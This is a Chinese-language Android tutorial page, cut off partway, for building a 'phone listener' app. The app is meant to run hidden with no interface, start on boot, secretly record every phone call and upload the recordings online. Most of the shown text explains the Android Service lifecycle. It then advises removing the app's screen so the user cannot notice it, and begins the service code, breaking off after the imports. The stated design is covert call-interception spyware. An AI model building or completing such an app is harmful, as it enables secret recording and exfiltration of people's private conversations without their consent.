(Android小應用)電話監聽器 – Android移動開發技術文章_手機開發 Android移動開發教學課程

這是一個Android練手小項目,通過一個BroadcastReceiver廣播接收者監聽手機啟動狀態,實現開機啟動。因為是電話監聽器,所以我們不能讓用戶察覺,所以不能有軟件界面,這是要點,不然也不叫監聽器瞭,主要實現的功能有對所有語音通話進行錄制並上傳到網上,好瞭,不廢話瞭,下面一步一步地寫……


首先,我們先來瞭解一下Service服務

Android中的服務和windows中的服務是類似的東西,服務一般沒有用戶操作界面,它運行於系統中不容易被用戶發覺,可以使用它開發如監控之類的程序。服務的開發比較簡單,如下:
第一步:繼承Service類

public class PhoneListenerService extends Service {…}

第二步:在AndroidManifest.xml文件中的<application>節點裡對服務進行配置:

view sourceprint?




<service android:name=“PhoneListenerService”></service>

這裡推薦使用eclipse圖形化的界面添加

如上圖所示,可以添加Service、Permission、BroadcastReceiver等,感興趣可以自己試一下。

服務不能自己運行,需要通過調用Context.startService()或Context.bindService()方法啟動服務。這兩個方法都可以啟動Service,但是它們的使用場合有所不同。使用startService()方法啟用服務,調用者與服務之間沒有關連,即使調用者退出瞭,服務仍然運行。使用bindService()方法啟用服務,調用者與服務綁定在瞭一起,調用者一旦退出,服務也就終止,大有“不求同時生,必須同時死”的特點。
如果打算采用Context.startService()方法啟動服務,在服務未被創建時,系統會先調用服務的onCreate()方法,接著調用onStart()方法。如果調用startService()方法前服務已經被創建,多次調用startService()方法並不會導致多次創建服務,但會導致多次調用onStart()方法。采用startService()方法啟動的服務,隻能調用Context.stopService()方法結束服務,服務結束時會調用onDestroy()方法。

如果打算采用Context.bindService()方法啟動服務,在服務未被創建時,系統會先調用服務的onCreate()方法,接著調用onBind()方法。這個時候調用者和服務綁定在一起,調用者退出瞭,系統就會先調用服務的onUnbind()方法,接著調用onDestroy()方法。如果調用bindService()方法前服務已經被綁定,多次調用bindService()方法並不會導致多次創建服務及綁定(也就是說onCreate()和onBind()方法並不會被多次調用)。如果調用者希望與正在綁定的服務解除綁定,可以調用unbindService()方法,調用該方法也會導致系統調用服務的onUnbind()–>onDestroy()方法。
 

服務常用生命周期回調方法如下:

onCreate() //該方法在服務被創建時調用,該方法隻會被調用一次,無論調用多少次startService() 或bindService()方法,服務也隻被創建一次。
onDestroy()//該方法在服務被終止時調用。

與采用Context.startService()方法啟動服務有關的生命周期方法
onStart() 隻有采用Context.startService()方法啟動服務時才會回調該方法。該方法在服務開始運行時被調用。多次調用startService()方法盡管不會多次創建服務,但onStart() 方法會被多次調用。

 與采用Context.bindService()方法啟動服務有關的生命周期方法
onBind()隻有采用Context.bindService()方法啟動服務時才會回調該方法。該方法在調用者與服務綁定時被調用,當調用者與服務已經綁定,多次調用Context.bindService()方法並不會導致該方法被多次調用。
onUnbind()隻有采用Context.bindService()方法啟動服務時才會回調該方法。該方法在調用者與服務解除綁定時被調用。
OK,瞭解瞭服務,現在開始來開發這個小應用瞭……
首先在eclipse中新建一個項目,我的命名為:phonelistener,直接截圖
 
因為我們在創建項目的時候必須要填上一個Activity,我就先隨便填一個Activity界面,因為這個電話監聽器不能讓用戶察覺,所以不能有界面的,待會兒在功能清單文件中刪除。
接下來,我們添加一個服務類:PhoneListenerService,當調用這個服務類的方法的時候,我們實現監聽的所有內容

package com.studio.listener;

import java.text.SimpleDateFormat;
import java.util.Date;

import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.Environment;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
import android.util.Log;

public class PhoneListenerService extends Service {

private String TAG = “PhoneListenerService”;//這裡設置一個Log標志,方便於調試

@Override
public IBinder onBind(Intent intent) {
// TODO Auto-generated meth

發佈留言